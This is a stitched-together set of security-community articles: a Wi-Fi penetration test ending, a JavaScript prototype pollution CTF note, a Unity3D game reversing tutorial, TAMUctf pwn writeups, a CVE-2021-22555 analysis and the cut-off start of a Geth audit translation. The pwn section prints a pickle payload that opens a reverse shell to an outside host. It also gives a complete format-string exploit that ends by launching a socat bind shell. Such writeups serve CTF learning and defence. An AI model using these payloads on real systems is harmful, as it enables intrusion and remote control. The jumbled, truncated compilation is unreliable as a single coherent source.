这时候我们拥有了Portal机的服务器权限，同样可以挂马社工客户，再利用客户的机器在进一步的内网渗透。但这样的攻击手法存在很大的风险，修改前端页面轻则造成误伤其他访客，重则可能会整个Portal无法使用。
经过一番讨论后，决定询问客户的意见是否还需要深入渗透。客户答案是想要测试能漫游内网（访问办公网及管理网），目前这个效果不是很明显，而且客户信誓旦旦的告诉我说，Guest网络是隔离网段，不可能访问办公网及管理网，还问我有多大把握可以跨过去。我当时脑子一热，说百分之九十吧。说完就有点虚，毕竟客户比我更熟悉他们的网络环境，人家都说是隔离的，而我还说有90%的把握，越想越觉得我有点吹逼呢！！既然牛逼自己吹了，只能吭哧吭哧干活，就像老马说的”梦想还是要有的，万一实现了呢？”，经过沟通之后，客户可以让我们使用这台Portal作为跳板机进行渗透。
**5.内网渗透**
在得到了客户授权后，我们给跳板机新添加了一个账户，ssh上去拿到了一个tty shell，方便后续的渗透。使用banner-scan对内网机器http
banner进行了扫描，除了有个H3C的交换机开着Webserver，其他机器并没有开放Webserver服务。从Web下手这条路是走不通了。
既然Web无法走通，那么只能寻找内网中其他的漏洞可以利用，假如存在域环境我还可以看看gpp，ms14068等漏洞，但是这次是工作组环境，比域环境还要复杂一些。目前想法是从服务下手，看看是否会存问题的服务。使用nmap进行扫描，结果发现存在MongoDB，Rsync，Redis等服务。经过测试，MongoDB虽然存在未授权访问，但是里面的数据没有什么用处，rsync不存在问题。只能寄希望于Redis。果然，Redis存在未授权访问，反弹Shell回来添加了一个账户。
拿到redis服务器权限后，netstat -antp
查看网络连接，并没有发现跟”办公网及管理网”网络有通信的建立，也无法ping通“办公网及管理网”网络。一时陷入僵局，难道今天真的要打脸了？无法跨过去这个网段了？革命尚未成功,同志仍需努力啊。其他的机器虽说存在mysql、oracle等服务，但是这两个服务并不存在能远程利用的漏洞，只能用爆破密码这种方式，爆破攻击在渗透中我个人很少用。爆破攻击存在以下缺陷：
1\. 耗费时间过长
2\. 会产生大量日志
3\. 有可能造成账户锁定
为了不必要的麻烦，没有选择去爆破Mysql，Oracle等服务，而是从Redis机器进行收集信息，看看是否能有一些新的发现。在启动进程，端口，history，home目录中都没有发现有我想要的信息。使用find命令搜uname、user等信息时也没有很大的收获。结果在/etc/发现存在nginx的配置，Web
Root目录指向varwww，原来此时nginx并没有启动。
进入到varwww目录之后，尝试能否在源码中找到邮件密码或者数据库密码之类的，提取关键信息后再扩大渗透范围。在网上找了个解密网站，对config.php文件解密，解密后的源码中发现数据库的IP地址是guest网络里另外一台机器，存储直接使用的是Elasticsearch。
Elasticsearch出过几次严重的代码执行漏洞，经过测试果然这台机器上发现存在CVE-2015-1427漏洞，通过netstat
-an发现跟”管理网”有通信，跨网段任务完成了一半。顺手试了下，也可以Ping通“办公网”。很好，意味着通过Elasticsearch的机器我们完成了吹下的牛逼，打通了任督二脉，走向管理网及办公网。
**总结**
由于某些原因，内网渗透部分图片能提供较少，请大家关注文字部分。
WIFI默认属于不安全的网络，很多企业的防护措施都放在边界安全(Web、服务等漏洞)上，对WIFI网络不重视,导致出现第三方设备漏洞、或者ACL划分不严格的等问题，通过WIFI打破边界，进入内网的核心地带渗透事件层出不穷，希望企业能重视WIFI安全。 | 社区文章 |
博客原文地址:
> <https://meizjm3i.github.io/2018/09/11/JavaScript_Prototype_Pollution/>
# 原型对象及相关基础
在JavaScript中只有一种结构:对象,也就是常说的"万物皆对象"。
而每个实例对象都有一个原型对象,而原型对象则引申出其对应的原型对象,经过一层层的链式调用,就构成了我们常说的"原型链"。
实例对象可以通过`__proto__`访问其原型对象:
> let obj = {};
<· undefined
> obj.__proto__;
<· {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
而经过不断的调用,最终的原型对象会调用到`null`,这将作为该原型链的最后一个环节,与之对应的,作为终点的`null`自然也是没有原型对象的。比如,我们继续在上面的例子中调用其原型对象:
> obj.__proto__.__proto__;
<· null
在JavaScript中,可以用几种方式实现继承,常见的继承方式包括:`原型链继承`、`借用构造函数继承`、`原型式继承`,`寄生式继承`。
每种方法对应的原理及具体的实现方式不再赘述,可参见《JavaScript高级程序语言设计》中的继承相关章节。
在Javascript中可以通过`example.a.b`或`example.a["b"]`来对数组进行访问,`example.a`访问的是`example`对象下的`a`对象的`b`,而`example.a["b"]`则是访问`example`对象下的`a`数组的下标为`b`的值。
由于对象是无序的,当使用第二种方式访问对象时,只能使用指明下标的方式去访问。
因此我们可以通过`a["__proto__"]`的方式去访问其原型对象。
# 实例
在Hackit 2018中,有一个nodejs的题目,其中便涉及到了使用原型链继承来进行变量覆盖的攻击手法,源码我已同步至我的Github项目中[CTF-Challenge](https://github.com/otakekumi/CTF-Challenge/blob/master/nodejs/chall_4/app.js)。
其中漏洞点在第64行:
matrix[client.row][client.col] = client.data;
而`data`是从网页传递的参数,形如:
{"row":1,"col":"1","data":"X"}
对应的`row`以及`col`值会存放至`matrix`中,而这里则会导致一个原型链污染的隐患。
回到题目本身的逻辑中,获得Flag的要求为:
> 传入的`querytoken`与`user.admintoken`的md5哈希值一样
因此我们可以通过上面发现的原型链的漏洞对`admintoken`进行赋值。那么继续探讨如何对其进行赋值。
`Array`实例继承自`Array.prototype`,因此我们可以通过更改构造函数的原型对象来对所有的`Array`实例进行修改。
那么我们可以通过这个思路来做到变量覆盖。
通过代码我们可以发现`user`为`Array`,`matrix`同样是`Array`,因此我们根据上面的思路,通过对`matrix`进行赋值进而篡改`user.admintoken`的值。
在控制台演示原型链污染如下:
> a=[];
<· []
> b=[];
<· []
> b["__proto__"];
<· [constructor: ƒ, concat: ƒ, find: ƒ, findIndex: ƒ, pop: ƒ, …]
> b["__proto__"]["admintoken"]="ccda";
<· "ccda"
> a
<· []
> a.admintoken
<· "ccda"
因此我们传入的payload就可以构造出来了。 | 社区文章 |
**Author: dawu@Knownsec 404 Team**
**Chinese Version:<https://paper.seebug.org/829/>**
## 0x00 Introduction
The reason why I write this simple technical article is that I really like to
play digital games on `google play`. However, there are some drawbacks in this
kind of game. In earlier stages, there is not enough resources, and you feel
it very boring if you play it very slowly for a long time. As a result, I
often search for its cracked version or purchased version to speed up the
process until I give it up.
Actually, it’s insecure to do so, because it is impossible to tell the extra
procedures of these two versions. My final solution is to reverse these APK
and modify the game's logic so that I can pass the early stage quickly.
This paper is intended to introduce the idea of modification in reverse of
simple Unity3D android games.
## 0x01 preparations
It is recommended to use the Windows system with a good JAVA environment,
because it involves the modification of `dll` files.
### 1.1 Tools for reversing Android APK
For the general reverse engineering Android APK, `apktool`, `dex2jar`, `jd-gui` are often used, while reversing Unity3D android games, only `apktool`
needs to be used.
* [Apktool](https://ibotpeaches.github.io/Apktool/ "Apktool"): To unzip or repackage android APK.
* [dex2jar](https://github.com/pxb1988/dex2jar "dex2jar"): To turn the unzipped file into "jar", and make it convenient to view via “jd-gui”.
* [jd-gui](https://paper.seebug.org/829/libcocos2dlua.so "jd-gui"): To examine the logic of dex file.
### 1.2 Tools for reversing `dll` file
The main logic of the common Unity3D Android games is in
`asserts/bin/data/Managed/Assembly-CSarp.dll`, so we still need the tool to
reverse or repackage the `dll` file.
* [ILSpy](https://github.com/icsharpcode/ILSpy "ILSpy"): To view the program logic of `dll`
* ILDASM: To decompile `dll` files and generate `il` files (store instructions after decompiling `dll` files) and `res` files (decompiled resource files) by installing Windows SDK or downloading from the Internet.
* Ilasm: Brought by .net 4.0 and located in `C:\Windows\Microsofr.NET\Framework\v4.0.30319\ilasm.exe`
### 1.3 Generate the repackaged self-signed certificate
Sign APK after modification and this command is used to generate a signed
certificate.
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 0validity 10000
# 记住设置的密码，最后自签名应用的时候需要输入密码
## 0x02 Develop a simple Unity3D game
A simple game is develoed as example by means of Unity3D, and the logic is as
follows:
1. Every time a hero passes a level, the combat power increases by 100.
2. The monster's combat power is Math.pow(2: the current level).
3. When the hero's combat power is less than the monster's combat power, the hero can't get through. Heroes can consider practice or rebirth to improve their combat effectiveness.
4. Every time the hero practices, the combat power will increase by 1000.
5. After the hero chooses rebirth, the number of levels is cleared and you need to play anew, but the initial combat power of the hero will increase by 2000 multipling the number of previous levels.
The specific code can be referred to on
[Github](https://github.com/d4wu/unity3d-android-reverse-demo "Github").
## 0x03 The reverse steps of game
(1) Unzip the game installation package with apktool
(2) Extract `game/assets/bin/data/Managed/Assembly-CSarp.dll`, and view the
logic in `dll` by opening with ILSpy.
PS: The core code of Android games developed by Unity3D is in the `dll` file,
so it’s enough to reverse or modify it, which is also different from other
Android reverse.
If there is no mix, the content of decompiled function is very similar to the
original one:
The contents of "Click1" decompiled by ILSpy
The original code of "Click1"
(3) Having found the key functions and key logic, you can try to decompile and
modify the `dll` file by using ILDASM. After opening the `dll` file with
ILDASM, the decompiled results can be exported via `File -> dump`.
(4) It’s easy to understand the logic based on the step 2. According to the
zoom table, you can know what to modify in the `il` files. The critical
judgment is in `info.hero_power + info.temp_power + info.add_power >=
info.monster_power`. Open the `.il` files in step 3 and modify the
corresponding key logic on the basis of [.NET IL zoom
table](https://www.cnblogs.com/yuwentao/p/5923978.html ".NET IL zoom table").
Modify it to `info.hero_power + info.temp_power + info.add_power !=
info.monster_power`, you can pass the logical judgment here.
(5) Having modified the key logic, you can install and run APK on the phone.
The command to recompile the `dll` file is as follows:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe game.il /output=Assembly-CSarp.dll /dll
Send the recompiled `dll` back into the `game/assets/bin/data/Managed/`
directory and repackage the APK with apktool:
java -jar apktool.jar b game
cp game/dist/game.apk ./
Self-signed application:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore game.apk alias_name
Having modified successfully, once you start the training, you will be able to
pass through the checkpoints infinitely.
Reach the 30th level smoothly.
## 0x04 Conclusion
1. The obvious feature of Unity3D is that it will display the game LOGO at the beginning, which can be seen as a tip to judge whether a game is developed by Unity3D or not.
2. When the demo in this article reaches the 31st level, the integer overflow occurs and the monster’s combat power will become negative, which is because the monster's combat power is "int".
3. Adjusting the language of game to English before modification helps to understand the meaning of each function while reversing(for applications that have not been mixed).
4. It’s very easy to lose the original fun of the game after it has been modified, for it just becomes a pure digital game. Be cautious before modifying.
## 0x05 Reference
1. [Apktool](https://ibotpeaches.github.io/Apktool/)
2. [ILSpy](https://github.com/icsharpcode/ILSpy)
3. [.NET IL 指令速查表](https://www.cnblogs.com/yuwentao/p/5923978.html)
4. [Unity3d类安卓游戏逆向分析初探](https://paper.seebug.org/519/)
## About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# TAMUctf2019-pwn-writeup
pwn1-5的题目不难，之前已经有师傅发过writeup了，现在我把剩余两题pwn的writeup补充一下。
## VeggieTales
题目描述：
It's my favorite show to watch while practicing my python skills! I've seen episode 5 at least 13 times.
nc pwn.tamuctf.com 8448
Difficulty: easy-medium
2.23 1:58 pm CST: Added hint to description
题目没有给elf，根据题目描述，应该是一个python写的应用，nc过去看一下
Do you like VeggieTales??
1. Add an episode to your watched list
2. Print your watch list
3. Backup your watch list
4. Load your watch list
菜单功能：
1. 添加看过的剧集，只能输入1-47
2. 打印已看过的剧集
3. 备份当前清单，会返回一串base64
4. 输入备份得到的那串base64，可恢复已看剧集清单
简单fuzz了一下，没发现什么漏洞，后来题目给出了提示`I've seen episode 5 at least 13
times.`，看一下第5部ep是`5. Dave and the Giant Pickle`，马上联想到是python pickle反序列化！
首先添加一部剧集，拿到一串base64进行分析，尝试直接使用pickle反序列化出现报错
Traceback (most recent call last):
File "X:\tmp\pwn7.py", line 69, in <module>
print(pickle.loads(base64.b64decode(s)))
_pickle.UnpicklingError: invalid load key, '\xb4'.
对比了一下正常的序列化字符串，发现要先经过ROT13后再base64decode，修改一下代码再次测试。
import base64, string, pickle, codecs
s = "tNAqpDOLUDNNNQHhVPORLKMyVTShMPO0nTHtE2yuoaDtHTywn2kypDSuYt=="
print(pickle.loads(base64.b64decode(codecs.encode(s,"rot-13"))))
# ['5. Dave and the Giant Pickle']
根据以上分析，我们直接写一个反弹shell的payload，然后在`Load your watch list`那里进行反序列化
import base64, string, pickle, codecs, platform
class Exploit(object):
def __reduce__(self):
return (platform.popen,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"vps\",20004));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))
def serialize_exploit():
shellcode = pickle.dumps(Exploit())
return shellcode
exp = codecs.encode(str(base64.b64encode(serialize_exploit())),"rot-13")
print(exp)
本地监听端口，另一边输入生成的exp，成功反弹回来（你需要一个有公网ip的vps）
## pwn6
题目描述：
Setup the VPN and use the client to connect to the server.
The servers ip address on the vpn is 172.30.0.2
Difficulty: hard
2/23 10:06 am: Added server ip
题目给了一个openvpn的配置文件，以及client和server的二进制文件。
程序保护情况：
[*] '/tmp/client'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/tmp/server'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
openvpn安装使用方法：
sudo apt-get install -y openvpn
cp pwn6.ovpn /etc/openvpn/
sudo openvpn pwn6.ovpn
尝试运行一下client，程序提供两个选项，选项0没什么用，选项1进行登陆，由于没账号密码，输入后提示账号无效，还是直接看二进制文件分析吧。
0. View Recent Login's With client
1. Login
Enter command to send to server...
由于flag存在server端，我们最终的目标还是要pwn掉server，因此先对server进行分析。server程序功能非常多，里面有不少sql操作，一度往数据库注入方向想，后来一想这是pwn题，不要走歪了。之后在server中发现一个叫`process_message`函数，看程序逻辑，应该就是处理client发送信息的函数。
signed __int64 __fastcall process_message(struct server *a1, unsigned int *a2)
{
unsigned int v2; // ST14_4
signed __int64 result; // rax
__int64 v4; // ST00_8
__int64 v5; // [rsp+18h] [rbp-8h]
v5 = *((_QWORD *)a2 + 1); // send_data
if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2] )
{
v2 = (*(__int64 (__fastcall **)(struct server *, unsigned int *))&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2])(
a1,
a2);
printf("Result of action was %i\n", v2, a2);
result = v2;
}
else
{
printf("Unauthorized Command for Client %i\n", *a2, a2);
printf((const char *)(*(_QWORD *)(v4 + 8) + 8LL)); // fmt
result = 0xFFFFFFFFLL;
}
return result;
这里有一个很明显的格式化字符串漏洞，不过要运行到漏洞分支，需要绕过`if`的判断，目前还不清楚client发包的结构，因此转到分析client的程序，从client入手分析发包过程。定位到client登陆操作用到的函数中：
signed __int64 __fastcall send_login(int *a1)
{
unsigned __int8 user_len; // ST1F_1
unsigned __int8 pwd_len; // ST1E_1
char passwd[256]; // [rsp+20h] [rbp-310h]
char user[520]; // [rsp+120h] [rbp-210h]
_BYTE *send_data; // [rsp+328h] [rbp-8h]
puts("Input Username for login:");
prompt_string(user, 256);
puts("Input Password for login:");
prompt_string(passwd, 256);
send_data = malloc(0x202uLL);
user_len = strlen(user) - 1;
pwd_len = strlen(passwd) - 1;
user[user_len] = 0;
passwd[pwd_len] = 0;
*send_data = user_len;
send_data[1] = pwd_len;
memcpy(send_data + 2, user, user_len);
memcpy(&send_data[user_len + 2], passwd, pwd_len);
send_msg(a1, 0, send_data, user_len + pwd_len + 2);
puts("Message sent to server.");
read(*a1, a1 + 2, 4uLL);
sleep(2u);
if ( a1[2] < 0 )
return 0xFFFFFFFELL;
a1[1] = 1;
return 1LL;
}
void __fastcall send_msg(int *a1, int a2, void *a3, unsigned int a4)
{
const void *src; // ST08_8
unsigned int n; // ST10_4
int v6; // [rsp+2Ch] [rbp-24h]
void *ptr; // [rsp+38h] [rbp-18h]
_DWORD *buf; // [rsp+40h] [rbp-10h]
signed int v9; // [rsp+4Ch] [rbp-4h]
src = a3;
n = a4;
v9 = a4 + 8;
buf = malloc(a4 + 8LL);
ptr = buf;
*buf = n;
buf[1] = a2;
memcpy(buf + 2, src, n);
while ( v9 > 0 )
{
v6 = write(*a1, buf, v9);
if ( v6 < 0 )
{
perror("Send");
exit(-1);
}
buf = (_DWORD *)((char *)buf + v6);
v9 -= v6;
}
free(ptr);
}
程序读取用户名和密码后，计算用户名和密码的长度，然后申请了一块内存储存用户名和密码，以及对应的长度，再通过`send_msg`进行发送到server。写个简单的代码，在`send_msg`处下个断点，动态调试一下，可以看到client发送的数据包结构：
from pwn import *
p = process(['./client', '127.0.0.1'])
p.sendlineafter('server...\n','1')
p.sendlineafter('login:\n','1111')
p.sendlineafter('login:\n','2222')
根据gdb调试的结果，可以推断出client的数据包结构体如下：
struct login_data
{
int user_len;
int pwd_len;
char user;
char passwd;
};
struct send_data
{
int32 data_len;
int32 action;
char login_data;
}
client发包后，同理在server端`process_message`处下个断点，看看server端是如何处理数据包的。
► 0x4052b9 <handle_connections+1392> call process_message <0x404c99>
rdi: 0x7fffffffe040 ◂— 0x4
rsi: 0x6d8590 ◂— 0x7
pwndbg> x/4gx 0x6d8590
0x6d8590: 0x0000000000000007 0x00000000006d6480
0x6d85a0: 0x0000000000000000 0x0000001200000000
pwndbg> x/4gx 0x00000000006d6480
0x6d6480: 0x000000000000000a 0x3232313131310404
0x6d6490: 0x0000000000003232 0x0000000000000031
可见`process_message`的`v5 = *((_QWORD *)a2 + 1)`就是client发的数据包。现在需要分析一下`if (
*(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2]
)`是干什么的？直接看一下汇编，不难发现`rdx`的值为`send_data->action`的值，也就是`send_msg`的第二个参数。
.text:0000000000404CA9 ; 7: v5 = *((_QWORD *)a2 + 1); // send_data
.text:0000000000404CA9 mov rax, [rbp+var_20]
.text:0000000000404CAD mov rax, [rax+8]
.text:0000000000404CB1 mov [rbp+var_8], rax
.text:0000000000404CB5 ; 8: if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2] )
.text:0000000000404CB5 mov rax, [rbp+var_8]
.text:0000000000404CB9 mov edx, [rax+4] ;; send_data->action
.text:0000000000404CBC mov rax, [rbp+var_20]
.text:0000000000404CC0 mov edx, edx
.text:0000000000404CC2 add rdx, 4
.text:0000000000404CC6 mov rax, [rax+rdx*8+8]
.text:0000000000404CCB test rax, rax
同时检查一下`a2`中存放了什么数据，根据调试的结果，可以推测`send_msg`的第二个参数用于选择对应的功能模块，而`action=0`就是login的操作。
pwndbg> x/32gx 0x6d8590
0x6d8590: 0x0000000000000007 0x00000000006d6480
0x6d85a0: 0x0000000000000000 0x0000001200000000
0x6d85b0: 0x0000000000000012 0x0000000000405445
0x6d85c0: 0x0000000000000000 0x0000000000405c96
0x6d85d0: 0x0000000000000000 0x0000000000000000
0x6d85e0: 0x0000000000000000 0x0000000000000000
0x6d85f0: 0x0000000000000000 0x0000000000000000
0x6d8600: 0x0000000000000000 0x0000000000000000
0x6d8610: 0x0000000000000000 0x0000000000000000
pwndbg> x 0x0000000000405445
0x405445 <login>: 0x70ec8348e5894855
pwndbg> x 0x0000000000405c96
0x405c96 <create_account>: 0x40ec8348e5894855
那么只要我们根据client登录数据包的结构，构造一个数据包，控制`send_data`的`action`参数，让`[rax+rdx*8+8]`落在空白处，程序就会判断不存在该功能，并进入`else`分支，到格式化字符串漏洞的地方。现在，可以不用管client了，直接构造一个`action`大于2的数据包进行调试，代码修改如下：
from pwn import *
p = remote('127.0.0.1', 6210)
def send_payload(action, payload):
p.send(p32(len(payload)) + p32(action) + payload)
send_payload(3,'aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p')
p.interactive()
发现输入的数据包存在栈中，那么利用就很简单了。接着就是常规的格式化字符串漏洞利用套路，修改`[email protected]`为`system@plt`。
尝试了各种的反弹shell姿势都无效，用curl和wget回传flag也没反应，最后用socat开了一个正向shell，成功连上~
完整exp：
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
context.log_level = 'DEBUG'
elf = ELF('./server')
p = remote('172.30.0.2', 6210)
def send_payload(action, payload):
p.send(p32(len(payload)) + p32(action) + payload)
payload = ''
byte = []
offset = 15
for x in range(6):
a = elf.got['printf'] + x
b = elf.plt['system'] >> 8 * x & 0xff
byte.append((b,a))
byte.sort(key=lambda x:x[0],reverse=False)
count = 0
n = 0
for y in byte:
tmp = y[0]-count
if tmp < 0: tmp += 256
if tmp == 0:
payload += '%{}$hhn'.format(offset+9+n)
else:
payload += '%{}c%{}$hhn'.format(tmp,offset+9+n)
count += tmp
n += 1
payload = payload.ljust(72,'a')
for z in byte:
payload += p64(z[1])
send_payload(3,payload)
send_payload(3,'socat TCP-LISTEN:23333,reuseaddr,fork EXEC:"/bin/sh"\x00')
p.close()
## 总结
VeggieTales是一个常规的pickle反序列化，以往CTF一般是放在web题中。pwn6的server/client题型很新颖，虽然漏洞利用不难，不过调试过程还是踩了不少坑，题目质量不错，值得学习一下。 | 社区文章 |
# CVE-2021-22555 linux内核提权
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
该漏洞作者Andy Nguyen (theflow@) ，writeup已经公开。
## 简单概述
主要是在`xt_compat_target_from_user()`中有溢出，经过特殊构造产生uaf，
具体exp中，使用了`struct
msg_msg`作为溢出，导致两个指针指向同一个chunk，使用套接字简化了uaf的使用流程，最后利用pipe()管道中的`struct
pipe_buf_operations` 来泄露地址，以及伪造修改关闭pipes时调用的`release`
函数地址调用rop链，完成权限提升以及返回用户空间
## 修补方案
在查询源代码过程中发现某些版本的代码中选择将`xt_compat_target_from_user()`的漏洞触发代码删除（简单明了）
## 漏洞具体分析
在兼容模式下，即存在#`define CONFIG_COMPAT`条件下
套接字 `IPT_SO_SET_REPLACE` 或者`IP6T_SO_SET_REPLACE`被调用，
在`xt_compat_target_from_user()`中`memset()`参数`target->targetsize`没有检查偏移，导致可能出现字节越界。
#ifdef CONFIG_COMPAT
int xt_compat_target_offset(struct xt_target *target)
{
u_int16_t csize = target->compatsize ? : target->targetsize;
return XT_ALIGN(target->targetsize) - COMPAT_XT_ALIGN(csize);
}
EXPORT_SYMBOL_GPL(xt_compat_target_offset);
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr, int *size)
{ //t 表示用户或者内核的target_size target_name
//
struct xt_target *target = t->u.kernel.target;//内核target 对应struct xt_target 即target基本类型
struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t; //xt = t的副本
int pad, off = xt_compat_target_offset(target);
u_int16_t tsize = ct->u.user.target_size;
t = *dstptr;
memcpy(t, ct, sizeof(*ct));//将ct覆盖到dst
//当内核偏移与用户态偏移不同时使用
if (target->compat_from_user)
target->compat_from_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(*ct));
pad = XT_ALIGN(target->targetsize) - target->targetsize;
//漏洞触发点
if (pad > 0)
memset(t->data + target->targetsize, 0, pad);//末位补0，控制target->targetsize偏大，可以造成\x00溢出
//这里有越界 off by null 设置偏移
tsize += off;
t->u.user.target_size = tsize;
*size += off;
*dstptr += tsize;
}
`target->targetsize`不由用户控制，可以通过选择不同大小的target类型结构体来控制targetsize大小。
## 如何触发漏洞？
漏洞成因 在`xt_compat_target_from_user()`中`memset()`参数`target->targetsize` 溢出导致
memset(t->data + target->targetsize, 0, pad);
原本目的应该是将未满足的偏移填充0。targetsize不被用户直接控制，可以通过选择不同的target类型，但是targetsize不能是8位偏移整齐，满足`pad>0`,
构造数据data，通过控制pad。控制溢出数量。
exp利用时，选择创建data数据，date数据长度为0x1012。这样刚好覆盖到接下来申请0x1000大小堆块的对应结构体的指针后2bit，造成指针的指向错误。
## 具体实现 uaf
由于在内核中无法直接申请固定大小堆块，exp选择使用创建`msg_msg`结构体，
msgsend()内部使用alloc_msg(),
alloc_msg将一定长度的msg利用kmalloc多次分配每一段msg开头都有msg_msg结构体
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;/*链表头*/
long m_type; /*类型*/
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
//把id取出来
struct list_head {
struct list_head *next, *prev;
};
struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
`msgget()`首先创建4096个消息队列，对每一个队列先发送msg_primary,大小为0x1000，再对每一队列发送msg_secondary,大小为0x400，这样对于每一个队列中都有两条消息，分别对应0x1000
和0x400大小的chunk，并且分别对每一个msg进行标号，使msg内部存有对应msg标号，`struct msg_msg`位于整个chunk的头部，
以上是基础chunk的构造
通过读取msg，将对应chunk释放，由于释放的是0x1000大小，使用触发漏洞，将下一个堆块`msg_msg`的`struct
list_head`的后两位溢出为0，如果正确运行，成功将一个primary_msg对应的secondary_msg指向不属于它本身队列的secondary
_msg，此时就会有一个secondary_msg同时被两个指针指向，由此造成uaf。
为继续利用，我们需要找到哪两个`primary_msg`指针指向了同一个`secondary_msg`.由于在发送`msg`时提前将标号放入`msg`的内容中，可以使用`msgrcv()`获取`secondary_msg`
，这时的获取通过`primary_msg`的`struct
msg_msg->m_list`获取，被修改的`msg`会指向id与消息队列id不同的`secondary_msg`,这时可以通过当前消息队列的id与`secondary_msg`的id获取具体哪两个指针指向同一个`msg`。
## SMAP
smap阻止内核直接访问用户空间的内容，这使泄露内核的地址会更复杂。
先将被双重指针指向的地址free掉，创建一个fakemsg内容如下：
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
PAGE_SIZE - MSG_MSG_SIZE, 0);
采用套接字将fakemsg放到可以被uaf的地方，
int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(ss[i][0], buf, size) < 0) {
perror("[-] write");
return -1;
}
}
}
return 0;
}
//原理 ss是由 socketpair制造一对相互连接的套接字
改变了fakemasg的m_ts位置，即扩大了读取范围，可以通过指针获取到
msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
//获取相邻msg
fakechunk的相邻的chunk信息，通过该chunk找到 对应primary地址，以此构造一个合法的msg
，将他free掉。此时ss[i][1]产生的指针指向该地址。
这些对于msg的操作是为了更简便地uaf攻击。
## 攻击内核路径。
计算内核地址，采用`pipe()`对应结构体,通过调用`pipe()`可以分配到`pipe_buffer`
创建pipe
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
其中有`const struct pipe_buf_operations *ops;`
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
一旦有pipe被写入`struct pipe_buffer`就会被写入内容，由于其中
`ops`会定位到`.data`段。泄露该地址，由于偏移固定，很容易可以计算出内核基地址。
## 创建攻击内核的rop链
通过uaf覆盖修改pipe。将对应release函数的地址伪造成rop链。
rop链需要完成更改creds（身份信息），`commit_creds(prepare_kernel_cred(NULL))`并且返回命名空间
`switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)`。
由此提权
## 调用rop链
上面提到已经计算出内核基址，因此创建一个fakepipebuffer，伪造ops，更改ops中realese的指向为对应rop的起始地址。在关闭pipe时调用到realese。实际劫持流程执行提权rop。
最后启动shell 为root权限。
## 实验演示
docker本地搭建
内核小白，如果理解上有偏差，请指正🙏
## 参考资料
–<https://switch-router.gitee.io/blog/netfilter4/>
–<https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html#proof-of-concept>
–<https://blog.csdn.net/weixin_40039738/article/details/81095013>
–<https://www.cnblogs.com/52php/p/5862114.html> | 社区文章 |
翻译：玄猫安全团队-Javierlev
原文：`https://github.com/ethereum/go-ethereum/blob/master/docs/audits/2017-04-25_Geth-audit_Truesec.pdf`
近期，以太坊`go-ethereum`公开了两份审计报告，玄猫安全团队第一时间对其进行了翻译工作。此为第一篇《Go Ethereum Security
Review》即`2017-04-25_Geth-audit_Truesec`，此审计报告完成时间为2017年4月25日。
如果您正在使用的是较旧版本的 `go-ethereum`，强烈建议升级至最新版本，以免遭受不必要的损失。
## 1.1. 概述
